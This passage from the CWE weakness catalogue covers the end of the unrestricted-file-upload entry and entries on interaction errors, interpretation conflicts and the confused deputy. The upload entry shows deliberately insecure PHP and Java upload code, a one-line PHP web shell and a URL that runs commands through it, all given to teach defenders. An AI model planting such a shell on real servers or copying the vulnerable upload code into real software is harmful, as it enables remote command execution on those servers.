Resultant : This is frequently resultant when use of double extensions (e.g. ".php.gif") bypasses a sanity check.

Resultant : This can be resultant from client-side enforcement (CWE-602); some products will include web script in web clients to check the filename, without verifying on the server side.

Applicable Platforms

Language : ASP.NET *(Prevalence = Sometimes)*

Language : PHP *(Prevalence = Often)*

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Web Server *(Prevalence = Sometimes)*

Alternate Terms

Unrestricted File Upload : The "unrestricted file upload" term is used in vulnerability databases and elsewhere, but it is insufficiently precise. The phrase could be interpreted as the lack of restrictions on the size or number of uploaded files, which is a resource consumption issue.

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands *Arbitrary code execution is possible if an uploaded file is interpreted and executed as code by the recipient. This is especially true for .asp and .php extensions uploaded to web servers because these file types are often treated as automatically executable, even when file system permissions do not specify execution. For example, in Unix environments, programs typically cannot run unless the execute bit is set, but PHP programs may be executed by the web server without directly invoking them on the operating system.*	

Detection Methods

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Generate a new, unique filename for an uploaded file instead of using the user-supplied filename, so that no external input is used at all.[REF-422] [REF-423]

Phase: Architecture and Design

Strategy = Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Phase: Architecture and Design

Consider storing the uploaded files outside of the web document root entirely. Then, use other mechanisms to deliver the files dynamically. [REF-423]

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. For example, limiting filenames to alphanumeric characters can help to restrict the introduction of unintended file extensions.

Phase: Architecture and Design

Define a very limited set of allowable extensions and only generate filenames that end in these extensions. Consider the possibility of XSS (CWE-79) before allowing .html or .htm file types.

Phase: Implementation

Strategy = Input Validation

Ensure that only one extension is used in the filename. Some web servers, including some versions of Apache, may process files based on inner extensions so that "filename.php.gif" is fed to the PHP interpreter.[REF-422] [REF-423]

Phase: Implementation

When running on a web server that supports case-insensitive filenames, perform case-insensitive evaluations of the extensions that are provided.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Implementation

Do not rely exclusively on sanity checks of file contents to ensure that the file is of the expected type and size. It may be possible for an attacker to hide code in some file segments that will still be executed by the server. For example, GIF images may contain a free-form comments field.

Phase: Implementation

Do not rely exclusively on the MIME content type or filename attribute when determining how to render a file. Validating the MIME content type and ensuring that it matches the extension is only a partial solution.

Phase: Architecture and Design

Phase: Operation

Strategy = Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a

single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Architecture and Design

Phase: Operation

Strategy = Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness = Limited

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Demonstrative Examples

Example 1:

The following code intends to allow a user to upload a picture to the web server. The HTML code that drives the form on the user end has an input field of type "file".

Example Language: HTML *(good)*

```
<form action="upload_picture.php" method="post" enctype="multipart/form-data">
Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>
</form>
```

Once submitted, the form above sends the file to upload_picture.php on the web server. PHP stores the file in a temporary location until it is retrieved (or discarded) by the server side code. In this example, the file is moved to a more permanent pictures/ directory.

Example Language: PHP *(bad)*

```
// Define the target location where the picture being
// uploaded is going to be saved.
$target = "pictures/" . basename($_FILES['uploadedfile']['name']);
// Move the uploaded file to the new location.
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target))
{
    echo "The picture has been successfully uploaded.";
}
else
{
    echo "There was an error uploading the picture, please try again.";
}
```

The problem with the above code is that there is no check regarding type of file being uploaded. Assuming that pictures/ is available in the web document root, an attacker could upload a file with the name:

Example Language: *(attack)*

```
malicious.php
```

Since this filename ends in ".php" it can be executed by the web server. In the contents of this uploaded file, the attacker could use:

Example Language: PHP *(attack)*

```
<?php
   system($_GET['cmd']);
?>
```

Once this file has been installed, the attacker can enter arbitrary commands to execute using a URL such as:

Example Language: *(attack)*

```
http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l
```

which runs the "ls -l" command - or any other type of command that the attacker wants to specify.

Example 2:

The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The HTML code is the same as in the previous example with the action attribute of the form sending the upload file request to the Java servlet instead of the PHP code.

Example Language: HTML *(good)*

```
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">
Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>
</form>
```

When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.

Example Language: Java *(bad)*

```
public class FileUploadServlet extends HttpServlet {
    ...
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException,
    IOException {
        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
        String contentType = request.getContentType();
        // the starting position of the boundary header
        int ind = contentType.indexOf("boundary=");
        String boundary = contentType.substring(ind+9);
        String pLine = new String();
        String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value
        // verify that content type is multipart form data
        if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {
            // extract the filename from the Http header
            BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));
            ...
            pLine = br.readLine();
            String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf("\""));
            ...
            // output the file to the local upload directory
            try {
```

```
            BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
            for (String line; (line=br.readLine())!=null; ) {
                if (line.indexOf(boundary) == -1) {
                    bw.write(line);
                    bw.newLine();
                    bw.flush();
                }
            } //end of for loop
            bw.close();
        } catch (IOException ex) {...}
        // output successful upload response HTML page
    }
    // output unsuccessful upload response HTML page
    else
    {...}
  }
    ...
}
```

As with the previous example this code does not perform a check on the type of the file being uploaded. This could allow an attacker to upload any executable file or other file with malicious code.

Additionally, the creation of the BufferedWriter object is subject to relative path traversal (CWE-22, CWE-23). Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.

Observed Examples

Reference	Description
CVE-2001-0901	Web-based mail product stores ".shtml" attachments that could contain SSI *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0901*
CVE-2002-1841	PHP upload does not restrict file types *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1841*
CVE-2005-1868	upload and execution of .php file *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1868*
CVE-2005-1881	upload file with dangerous extension *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1881*
CVE-2005-0254	program does not restrict file types *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0254*
CVE-2004-2262	improper type checking of uploaded files *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2262*
CVE-2006-4558	Double "php" extension leaves an active php extension in the generated filename. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4558*
CVE-2006-6994	ASP program allows upload of .asp files by bypassing client-side checks *http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=CVE-2006-6994*
CVE-2005-3288	ASP file upload *http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=CVE-2005-3288*
CVE-2006-2428	ASP file upload *http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=CVE-2006-2428*

Functional Areas

- File Processing

Affected Resources

- File or Directory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	714	OWASP Top Ten 2007 Category A3 - Malicious File Execution	629	1871
MemberOf	C	801	2010 Top 25 - Insecure Interaction Between Components	800	1894
MemberOf	C	813	OWASP Top Ten 2010 Category A4 - Insecure Direct Object References	809	1898
MemberOf	C	864	2011 Top 25 - Insecure Interaction Between Components	900	1911
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	1131	CISQ Quality Measures - Security	1128	1981
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2057

Notes

Relationship

This can have a chaining relationship with incomplete denylist / permissive allowlist errors when the product tries, but fails, to properly limit which types of files are allowed (CWE-183, CWE-184). This can also overlap multiple interpretation errors for intermediaries, e.g. anti-virus products that do not remove or quarantine attachments with certain file extensions that can be processed by client systems.

Research Gap

PHP applications are most targeted, but this likely applies to other languages that support file upload, as well as non-web technologies. ASP applications have also demonstrated this problem.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Unrestricted File Upload
OWASP Top Ten 2007	A3	CWE More Specific	Malicious File Execution
OMG ASCSM	ASCSM-CWE-434		

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
1	Accessing Functionality Not Properly Constrained by ACLs

References

[REF-422]Richard Stanway (r1CH). "Dynamic File Uploads, Security and You". < http://shsc.info/FileUploadSecurity >.

[REF-423]Johannes Ullrich. "8 Basic Rules to Implement Secure File Uploads". 2009 December 8. < http://blogs.sans.org/appsecstreetfighter/2009/12/28/8-basic-rules-to-implement-secure-file-uploads/ >.

[REF-424]Johannes Ullrich. "Top 25 Series - Rank 8 - Unrestricted Upload of Dangerous File Type". 2010 February 5. SANS Software Security Institute. < http://blogs.sans.org/appsecstreetfighter/2010/02/25/top-25-series-rank-8-unrestricted-upload-of-dangerous-file-type/ >.

[REF-76]Sean Barnum and Michael Gegick. "Least Privilege". 2005 September 4. < https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < http://www.omg.org/spec/ASCSM/1.0/ >.

CWE-435: Improper Interaction Between Multiple Correctly-Behaving Entities

Weakness ID : 435 **Status:** Draft
Structure : Simple
Abstraction : Pillar

Description

An interaction error occurs when two entities have correct behavior when running independently of each other, but when they are integrated as components in a larger system or process, they introduce incorrect behaviors that may cause resultant weaknesses.

Extended Description

When a system or process combines multiple independent components, this often produces new, emergent behaviors at the system level. However, if the interactions between these components are not fully accounted for, some of the emergent behaviors can be incorrect or even insecure.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
MemberOf	V	1000	Research Concepts	2045
ParentOf	B	188	Reliance on Data/Memory Layout	435
ParentOf	C	436	Interpretation Conflict	944
ParentOf	B	439	Behavioral Change in New Version or Environment	947
ParentOf	C	1038	Insecure Automated Optimizations	1641

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Alternate Terms

Interaction Error :

Emergent Fault :

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State Varies by Context	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	957	SFP Secondary Cluster: Protocol Error	888	1938

Notes

Relationship

The "Interaction Error" term, in CWE and elsewhere, is only intended to describe products that behave according to specification. When one or more of the products do not comply with specifications, then it is more likely to be API Abuse (CWE-227) or an interpretation conflict (CWE-436). This distinction can be blurred in real world scenarios, especially when "de facto" standards do not comply with specifications, or when there are no standards but there is widespread adoption. As a result, it can be difficult to distinguish these weaknesses during mapping and classification.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Interaction Errors

References

[REF-568]Taimur Aslam, Ivan Krsul and Eugene H. Spafford. "Use of A Taxonomy of Security Faults". 1995 August 1. < http://csrc.nist.gov/nissc/1996/papers/NISSC96/paper057/PAPER.PDF >.

CWE-436: Interpretation Conflict

Weakness ID : 436 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

Product A handles inputs or steps differently than Product B, which causes A to perform incorrect actions based on its perception of B's state.

Extended Description

This is generally found in proxies, firewalls, anti-virus software, and other intermediary devices that monitor, allow, deny, or modify traffic based on how the client or server is expected to behave.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	435	Improper Interaction Between Multiple Correctly-Behaving Entities	943
ParentOf	V	86	Improper Neutralization of Invalid Characters in Identifiers in Web Pages	177
ParentOf	B	115	Misinterpretation of Input	259
ParentOf	B	437	Incomplete Model of Endpoint Features	946
ParentOf	B	444	Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')	952
ParentOf	V	626	Null Byte Interaction Error (Poison Null Byte)	1239
ParentOf	V	650	Trusting HTTP Permission Methods on the Server Side	1275
PeerOf	B	351	Insufficient Type Distinction	772

Nature	Type	ID	Name	Page
PeerOf	B	434	Unrestricted Upload of File with Dangerous Type	935

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf	B	444	Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')	952

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	
Other	Varies by Context	

Demonstrative Examples

Example 1:

The paper "Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection" [REF-428] shows that OSes varied widely in how they manage unusual packets, which made it difficult or impossible for intrusion detection systems to properly detect certain attacker manipulations that took advantage of these OS differences.

Example 2:

Null characters have different interpretations in Perl and C, which have security consequences when Perl invokes C functions. Similar problems have been reported in ASP [REF-429] and PHP.

Observed Examples

Reference	Description
CVE-2005-1215	Bypass filters or poison web cache using requests with multiple Content-Length headers, a non-standard behavior. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1215*
CVE-2002-0485	Anti-virus product allows bypass via Content-Type and Content-Disposition headers that are mixed case, which are still processed by some clients. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0485*
CVE-2002-1978	FTP clients sending a command with "PASV" in the argument can cause firewalls to misinterpret the server's error as a valid response, allowing filter bypass. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1978*
CVE-2002-1979	FTP clients sending a command with "PASV" in the argument can cause firewalls to misinterpret the server's error as a valid response, allowing filter bypass. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1979*
CVE-2002-0637	Virus product bypass with spaces between MIME header fields and the ":" separator, a non-standard message that is accepted by some clients. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0637*
CVE-2002-1777	AV product detection bypass using inconsistency manipulation (file extension in MIME Content-Type vs. Content-Disposition field). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1777*
CVE-2005-3310	CMS system allows uploads of files with GIF/JPG extensions, but if they contain HTML, Internet Explorer renders them as HTML instead of images. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3310*

Reference	Description
CVE-2005-4260	Interpretation conflict allows XSS via invalid "<" when a ">" is expected, which is treated as ">" by many web browsers. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4260*
CVE-2005-4080	Interpretation conflict (non-standard behavior) enables XSS because browser ignores invalid characters in the middle of tags. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4080*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	957	SFP Secondary Cluster: Protocol Error	888	1938
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2046

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Multiple Interpretation Error (MIE)
WASC	27		HTTP Response Smuggling

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
33	HTTP Request Smuggling
105	HTTP Request Splitting
273	HTTP Response Smuggling

References

[REF-427]Steve Christey. "On Interpretation Conflict Vulnerabilities". Bugtraq. 2005 November 3. < http://seclists.org/bugtraq/2005/Nov/30 >.

[REF-428]Thomas H. Ptacek and Timothy N. Newsham. "Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection". 1998 January. < http://www.insecure.org/stf/secnet_ids/secnet_ids.pdf >.

[REF-429]Brett Moore. "0x00 vs ASP file upload scripts". 2004 July 3. < http://www.security-assessment.com/Whitepapers/0x00_vs_ASP_File_Uploads.pdf >.

[REF-430]Rain Forest Puppy. "Poison NULL byte". Phrack.

[REF-431]David F. Skoll. "Re: Corsaire Security Advisory - Multiple vendor MIME RFC2047 encoding". Bugtraq. 2004 September 5. < http://marc.info/?l=bugtraq&m=109525864717484&w=2 >.

CWE-437: Incomplete Model of Endpoint Features

Weakness ID : 437 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

A product acts as an intermediary or monitor between two or more endpoints, but it does not have a complete model of an endpoint's features, behaviors, or state, potentially causing the product to perform incorrect actions based on this incomplete model.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		436	Interpretation Conflict	944

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	438	Behavioral Problems	1867

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	
Other	Varies by Context	

Demonstrative Examples

Example 1:

HTTP request smuggling is an attack against an intermediary such as a proxy. This attack works because the proxy expects the client to parse HTTP headers one way, but the client parses them differently.

Example 2:

Anti-virus products that reside on mail servers can suffer from this issue if they do not know how a mail client will handle a particular attachment. The product might treat an attachment type as safe, not knowing that the client's configuration treats it as executable.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	957	SFP Secondary Cluster: Protocol Error	888	1938

Notes

Relationship

This can be related to interaction errors, although in some cases, one of the endpoints is not performing correctly according to specification.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Extra Unhandled Features

CWE-439: Behavioral Change in New Version or Environment

Weakness ID : 439 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

A's behavior or functionality changes with a new version of A, or a new environment, which is not known (or manageable) by B.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	435	Improper Interaction Between Multiple Correctly-Behaving Entities	943

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	438	Behavioral Problems	1867

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Alternate Terms

Functional change :

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation Varies by Context	

Observed Examples

Reference	Description
CVE-2002-1976	Linux kernel 2.2 and above allow promiscuous mode using a different method than previous versions, and ifconfig is not aware of the new method (alternate path property). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1976*
CVE-2005-1711	Product uses defunct method from another product that does not return an error code and allows detection avoidance. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1711*
CVE-2003-0411	chain: Code was ported from a case-sensitive Unix platform to a case-insensitive Windows platform where filetype handlers treat .jsp and .JSP as different extensions. JSP source code may be read because .JSP defaults to the filetype "text". *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0411*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	1959

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			CHANGE Behavioral Change

CWE-440: Expected Behavior Violation

Weakness ID : 440 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

A feature, API, or function being used by a product behaves differently than the product expects.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	684	Incorrect Provision of Specified Functionality	1332

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	438	Behavioral Problems	1867

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation Varies by Context	

Observed Examples

Reference	Description
CVE-2003-0187	Inconsistency in support of linked lists causes program to use large timeouts on "undeserving" connections. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0187*
CVE-2003-0465	"strncpy" in Linux kernel acts different than libc on x86, leading to expected behavior difference - sort of a multiple interpretation error? *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0465*
CVE-2005-3265	Buffer overflow in product stems to the use of a third party library function that is expected to have internal protection against overflows, but doesn't. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3265*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	1959
MemberOf	C	1208	Cross-Cutting Problems	1194	2012

Notes

Theoretical

The consistency dimension of validity is the most appropriate relevant property of an expected behavior violation. That is, the behavior of the application is not consistent with the expectations of the developer, leading to a violation of the validity property of the software.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Expected behavior violation

CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')

Weakness ID : 441 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The software receives a request, message, or directive from an upstream component, but the software does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the software's control sphere. This causes the software to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor.

Extended Description

If an attacker cannot directly contact a target, but the software has access to the target, then the attacker can send a request to the software and have it be forwarded from the target. The request would appear to be coming from the software's system, not the attacker's system. As a result, the attacker can bypass access controls (such as firewalls) or hide the source of malicious requests, since the requests would not be coming directly from the attacker.

Since proxy functionality and message-forwarding often serve a legitimate purpose, this issue only becomes a vulnerability when:

- The software runs with different privileges or on a different system, or otherwise has different levels of access than the upstream component;
- The attacker is prevented from making the request directly to the target; and
- The attacker can create a request that the proxy does not explicitly intend to be forwarded on the behalf of the requester. Such a request might point to an unexpected hostname, port number, or service. Or, the request might be sent to an allowed service, but the request could contain disallowed directives, commands, or resources.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	610	Externally Controlled Reference to a Resource in Another Sphere	1213
ParentOf	B	918	Server-Side Request Forgery (SSRF)	1599
ParentOf	B	1021	Improper Restriction of Rendered UI Layers or Frames	1631

Nature	Type	ID	Name	Page
PeerOf	B	611	Improper Restriction of XML External Entity Reference	1215
CanPrecede	G	668	Exposure of Resource to Wrong Sphere	1305

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1014	Identify Actors	1969

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Alternate Terms

Confused Deputy : This weakness is sometimes referred to as the "Confused deputy" problem, in which an attacker misused the authority of one victim (the "confused deputy") when targeting another victim.

Common Consequences

Scope	Impact	Likelihood
Non-Repudiation Access Control	Gain Privileges or Assume Identity Hide Activities	

Potential Mitigations

Phase: Architecture and Design

Enforce the use of strong mutual authentication mechanism between the two parties.

Observed Examples

Reference	Description
CVE-1999-0017	FTP bounce attack. The design of the protocol allows an attacker to modify the PORT command to cause the FTP server to connect to other machines besides the attacker's. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0017*
CVE-1999-0168	RPC portmapper could redirect service requests from an attacker to another entity, which thinks the requests came from the portmapper. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0168*
CVE-2005-0315	FTP server does not ensure that the IP address in a PORT command is the same as the FTP user's session, allowing port scanning by proxy. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0315*
CVE-2002-1484	Web server allows attackers to request a URL from another server, including other ports, which allows proxied scanning. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1484*
CVE-2004-2061	CGI script accepts and retrieves incoming URLs. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2061*
CVE-2001-1484	Bounce attack allows access to TFTP from trusted side. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1484*
CVE-2010-1637	Web-based mail program allows internal network scanning using a modified POP3 port number. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1637*
CVE-2009-0037	URL-downloading library automatically follows redirects to file:// and scp:// URLs *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0037*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	956	SFP Secondary Cluster: Channel Attack	888	1937

Notes

Relationship

This weakness has a chaining relationship with CWE-668 (Exposure of Resource to Wrong Sphere) because the proxy effectively provides the attacker with access to the target's resources that the attacker cannot directly obtain.

Maintenance

This could possibly be considered as an emergent resource.

Theoretical

It could be argued that the "confused deputy" is a fundamental aspect of most vulnerabilities that require an active attacker. Even for common implementation issues such as buffer overflows, SQL injection, OS command injection, and path traversal, the vulnerable program already has the authorization to run code or access files. The vulnerability arises when the attacker causes the program to run unexpected code or access unexpected files.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Unintended proxy/intermediary
PLOVER			Proxied Trusted Channel
